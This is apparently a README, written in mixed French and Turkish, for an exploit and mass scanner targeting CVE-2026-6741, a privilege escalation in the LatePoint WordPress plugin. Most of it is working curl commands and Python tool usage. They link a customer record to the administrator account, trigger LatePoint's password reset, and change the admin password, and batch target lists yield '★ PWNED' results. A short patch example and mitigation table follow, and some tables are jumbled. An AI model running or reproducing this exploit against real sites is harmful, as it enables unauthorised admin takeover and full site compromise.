
CVE-2026-6741 est une vulnérabilité d'élévation de privilèges authentifiée (Agent+) avec un score CVSS de 8,8 (Élevée) dans le plugin LatePoint – Calendar Booking Plugin.
CVE-2026-6741 est une vulnérabilité d'élévation de privilèges Authenticated (Agent+) avec un score CVSS de 8,8 (High) dans le LatePoint – Calendar Booking Plugin
Plugin : LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE ID : CVE-2026-6741 Score CVSS : 8,8 (High) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité : Authenticated (Agent+) Privilege Escalation → Administrator Takeover Versions affectées : <= 5.4.1 Version corrigée : 5.4.2 Date de publication : 27 avril 2026 Chercheurs : skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
Un attaquant authentifié disposant du rôle latepoint_agent peut
lier n'importe quel enregistrement de client LatePoint à un compte
administrateur WordPress, puis utiliser le flux de réinitialisation
de mot de passe propre à LatePoint pour modifier le mot de passe
de l'administrateur.
Cela aboutit à une compromission totale du site.
LatePoint 5.3.0 a ajouté le support de l'API Abilities fournie avec WordPress 6.9+. Cette API permet aux plugins d'enregistrer des classes « ability » appelables via l'API REST :
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← seul contrôle : cette capability
}
Le rôle Agent possède par défaut la capability customer__edit :
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← l'agent possède cette capability
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Seule l'existence de l'utilisateur est vérifiée
// MANQUANT : le rôle de l'utilisateur cible n'est pas vérifié
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← lier à n'importe quel utilisateur WP
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id est désormais l'ID admin → le mot de passe admin change
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Vérifie uniquement la permission de L'APPELANT
// Ne vérifie pas le rôle de l'utilisateur CIBLE
}
latepoint_agent hesabı
│
▼
1. Agent olarak WP'ye giriş yap → REST nonce al
│
▼
2. Hedef admin WordPress user ID'sini tespit et
(wp-json/wp/v2/users veya ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Rol kontrolü yok → Başarılı
│
▼
4. LatePoint forgot_password → customer emailine reset token gönder
│
▼
5. Token ile change_password → update_password() çağrılır
→ wp_set_password("Hacked!", 1)
→ Admin şifresi değişti
│
▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓
⚠️ Disclaimer : Ce PoC est fourni uniquement à des fins de recherche en sécurité éducative et défensive.
Prérequis :
latepoint_agentWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce al
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Réponse attendue :
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint envoie un email de réinitialisation contenant un jeton
account_nonce à l'adresse $CUSTOMER_EMAIL.
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
Cet appel déclenche la chaîne update_password() → wp_set_password($NEW_PASSWORD, 1).
Le mot de passe admin a été modifié.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| Paramètre | Description |
|---|---|
--agent-user | Nom d'utilisateur de l'agent (obligatoire) |
--agent-pass | Mot de passe de l'agent (obligatoire) |
| Paramètre | Description | Défaut |
|---|---|---|
--admin-id |
| Paramètre | Description | Défaut |
|---|---|---|
--reset-token | Jeton de réinitialisation reçu par email | — |
--new-password | Nouveau mot de passe admin | Pwned_CVE2026_6741! |
[*] Hedef : http://hedef.com
[*] Agent : agent1
[*] Admin ID : otomatik tespit
[*] Customer ID : otomatik tespit
[*] Reset Token : email bekleniyor
[*] Yeni Şifre : Pwned_CVE2026_6741!
[→] http://hedef.com Adım 1/6: Agent girişi...
[→] http://hedef.com Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com Adım 3/6: Customer ID tespiti...
[→] http://hedef.com Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com Adım 6/6: Şifre değiştiriliyor (manuel token)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
Sürüm : 5.4.1
Admin ID : 1
Customer : #5 <[email protected]>
Kullanıcı : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Kaydedildi → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ AŞAMA 1 — Bağla + Reset Emaili Gönder │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
│
Email'den token al
│
┌─────────────────────────▼───────────────────────────────┐
│ AŞAMA 2 — Token ile Şifreyi Değiştir │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Çıktı: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
Exemple de execute() sécurisé :
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Cet outil et ce PoC sont destinés uniquement à être utilisés sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Toute utilisation sur des systèmes sans autorisation constitue une infraction pénale au sens des articles 243-245 du code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'une utilisation abusive de l'outil.
Licence MIT — Destinée uniquement à des fins éducatives et de recherche.
| Champ | Valeur |
|---|
| Nom du plugin | LatePoint – Calendar Booking Plugin |
| Slug du plugin | latepoint |
| CVE ID | CVE-2026-6741 |
| Score CVSS | 8,8 (High) |
| Type de vulnérabilité | Authenticated (Agent+) Privilege Escalation |
| Version affectée | <= 5.4.1 |
| Version corrigée | 5.4.2 |
| Exigence | rôle latepoint_agent, WordPress 6.9+ |
| Paramètre | Court | Description | Défaut |
|---|
--url | -u | URL de la cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--threads | -t | Nombre de threads | 5 |
--output | -o | Fichier de sortie | privesc_results.txt |
--proxy | — | URL du proxy | — |
--timeout | — | Délai d'expiration des requêtes (s) | 10 |
--force | — | Continuer même si la détection de l'API Abilities échoue | False |
| ID utilisateur WP admin cible |
| détection automatique |
--customer-id | ID client LatePoint contrôlé | détection automatique |
--customer-email | Adresse email du client LatePoint | email de l'agent |
| Statut | Description |
|---|
★ PWNED | Mot de passe admin modifié, session ouverte |
~ RESET_SENT | Email de réinitialisation envoyé — jeton en attente |
~ PWD_CHANGE | Mot de passe modifié — vérifier manuellement la connexion admin |
- LINK_FAIL | Échec de la liaison Customer-Admin |
- LOGIN_FAIL | Échec de la connexion Agent |
- NO_PLUGIN | LatePoint non installé |
- NO_ABILITY | API Abilities désactivée (WP 6.9+ requis) |
~ NO_CUST | ID customer introuvable — spécifier manuellement |
~ UNREACH | Cible inaccessible |
| Mesure | Implémentation |
|---|
| Mise à jour du plugin | Mettre à niveau vers LatePoint 5.4.2+ |
| Ajouter un contrôle de rôle | Vérifier le rôle de l'utilisateur cible dans execute() |
| Restreindre l'API Abilities | Retirer la capacité connect-customer-to-wp-user du rôle Agent |
| Protection de la réinitialisation du mot de passe | Désactiver le flux de réinitialisation LatePoint pour les comptes admin |
| Audit des Abilities WP 6.9 | Examiner régulièrement les abilities enregistrées |